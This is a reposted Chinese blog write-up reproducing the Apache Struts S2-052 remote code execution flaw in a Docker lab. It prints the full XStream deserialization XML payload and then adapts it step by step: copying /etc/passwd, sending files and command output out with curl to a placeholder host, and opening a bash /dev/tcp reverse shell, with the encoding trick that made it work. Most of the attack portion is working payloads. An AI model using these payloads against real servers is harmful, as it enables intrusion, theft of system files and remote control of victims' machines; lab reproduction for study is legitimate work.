Struts S2-052 漏洞复现POC

admin 2018年5月8日03:51:03评论621 views字数 4595阅读15分19秒阅读模式
摘要

主机是linux的,直接用docker拉一个别人搭建好的环境……链接地址: https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-052


0X01环境搭建

主机是linux的,直接用docker拉一个别人搭建好的环境……

链接地址: https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-052

具体方法(略过安装和使用docker的步骤):

1、拉去镜像到本地
$ docker pull medicean/vulapps:s_struts2_s2-052
2、启动环境
$ docker run -d -p 80:8080 -v /tmp/:/tmp/ medicean/vulapps:s_struts2_s-052
3、访问 http://localhost/ 即可,能看到如下面这个图,就说明可以了。
Struts S2-052 漏洞复现POC

0X02漏洞复现

利用burpsuite向本地80端口发包

POST /orders HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: application/xml Content-Length: 2408 Cookie: JSESSIONID=A82EAA2857A1FFAF61FF24A1FBB4A3C7 Connection: close Upgrade-Insecure-Requests: 1  <map> <entry>      <jdk.nashorn.internal.objects.NativeString>        <flags>0</flags>        <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">          <dataHandler>            <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">              <is class="javax.crypto.CipherInputStream">                <cipher class="javax.crypto.NullCipher">                  <initialized>false</initialized>                  <opmode>0</opmode>                  <serviceIterator class="javax.imageio.spi.FilterIterator">                    <iter class="javax.imageio.spi.FilterIterator">                      <iter class="java.util.Collections$EmptyIterator"/>                      <next class="java.lang.ProcessBuilder">                        <command> <string>touch</string> <string>/tmp/test.txt</string>                        </command>                        <redirectErrorStream>false</redirectErrorStream>                      </next>                    </iter>                    <filter class="javax.imageio.ImageIO$ContainsFilter">                      <method>                        <class>java.lang.ProcessBuilder</class>                        <name>start</name>                        <parameter-types/>                      </method>                      <name>foo</name>                    </filter>                    <next class="string">foo</next>                  </serviceIterator>                  <lock/>                </cipher>                <input class="java.lang.ProcessBuilder$NullInputStream"/>                <ibuffer/>                <done>false</done>                <ostart>0</ostart>                <ofinish>0</ofinish>                <closed>false</closed>              </is>              <consumed>false</consumed>            </dataSource>            <transferFlavors/>          </dataHandler>          <dataLen>0</dataLen>        </value>      </jdk.nashorn.internal.objects.NativeString>      <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>    </entry>    <entry>      <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>      <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>    </entry>  </map>   该请求核心部分如下(在目标主机的/tmp/目录创建一个空的test.txt文件):   <command> <string>touch</string> <string>/tmp/test.txt</string> </command> 

发送请求结束,服务器会报错,但是命令应该已经执行成功。查看一下本机的/tmp/目录,看是否新生成一个test.txt文件。(由于启动该镜像时,已经将本地的/tmp/目录映射到容器的/tmp/目录,故容器/tmp/目录的变化会反映到本地/tmp/目录)

如果想执行其他命令,只需要修改<command></command>之间的值就行了。

0x03测试过程

随着近一步的测试,郁闷的发现这个地方的payload不能随意写,必需符合某些格式命令才会执行。

1、命令可以支持多个参数
原始命令:

cp /etc/passwd /tmp/passwd 

转换之后

<command> <string>cp</string> <string>/etc/passwd</string> <string>/tmp/passwd</string> </command> 

cp命令执行成功

原始命令:

curl -d “abc=test” http://x.x.x.x/ 

转换之后

<command> <string>curl</string> <string>-d</string> <string>abc=test</string> <string> http://x.x.x.x/ </string> </command> curl命令执行成功!注意第三行<sting>的值不能有双引号,否则失败。 

3、可以文件读取
原始命令:

curl -F “value=@/etc/passwd” http://x.x.x.x/ 

转换之后

<command> <string>curl</string> <string>-F</string> <string>value=@/etc/passwd</string> <string> http://x.x.x.x/ </string> </command> 通过在服务端http://x.x.x.x/ 抓包,发现/etc/passwd被post了过来。 

0x04、难点与突破

经过上述测试,发现能实现文件读取。假如能把命令的执行结果写到某个文件,就能实现回显。然而臣妾做不到啊……

后来还是想办法绕过对 > | 这些符号的限制,搜了不少资料未果。然后猜想服务端是不是类似一种bash -c 的执行效果,服务端把我们传的参数都拼接起来执行。

创建一个空的 /tmp/abc.txt

<command> <string>bash</string> <string>-c</string> <string>touch /tmp/abc.txt</string> </command> 

可以使用重定向符号>创建任意文件!

<command> <string>bash</string> <string>-c</string> <string>echo abcd >/tmp/abcd.txt</string> </command> 

可以把ip addr的命令执行结果输出到/tmp/ip.txt

<command> <string>bash</string> <string>-c</string> <string>ip addr >/tmp/ip.txt</string> </command> 

可以把ip addr的命令执行结果输出到/tmp/ip.txt,然后把这个ip.txt文件post到指定的服务器,实现了回显。

<command> <string>bash</string> <string>-c</string> <string>ip addr >/tmp/cmd.txt;curl -F "name=@/tmp/cmd.txt" http://x.x.x.x</string> </command> 

使用管道符|

<command> <string>bash</string> <string>-c</string> <string>echo abc|grep abc>/tmp/test.txt</string> </command> 

0x05、得到反弹shell

最理想的当然就是反弹shell了,我紧接着测试了bash反弹shell的例子。

原始命令

bash -i >& /dev/tcp/x.x.x.x/port 0>&1 

转换之后:

<command> <string>bash</string> <string>-c</string> <string>bash -i >& /dev/tcp/x.x.x.x/port 0>&1</string> </command> 

但是没有反弹成功……

刚开始不知道为什么会失败,后来想到可能是&这个符号,因为前面已经证实了这种写法 > | 符号是可以被正确解析的,所以只剩下&符号了。

正郁闷的时候,我发现服务器的错误响应跟前面的是有点不同的。
Struts S2-052 漏洞复现POC
通过这个,猜测服务器应该是不认识&这个符号,需要编码。然后我就把&换成 &,再试一次……

<command> <string>bash</string> <string>-c</string> <string>bash -i >&amp; /dev/tcp/x.x.x.x/port 0>&amp;1</string> </command> 

成功了!服务器得到了一个反弹shell,然后想干嘛就可以干嘛了……

0x06、后续

然后我又猜测之前重定向符号>不被识别,是不是也需要编码。测试了一下,还是不行。目前的结论就是这样了。

没有特别的技术含量,纯属探索。在此分享。

0x07 版权

本文转载自 http://www.freebuf.com/vuls/147017.html

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2018年5月8日03:51:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Struts S2-052 漏洞复现POChttp://cn-sec.com/archives/50604.html

发表评论

匿名网友 填写信息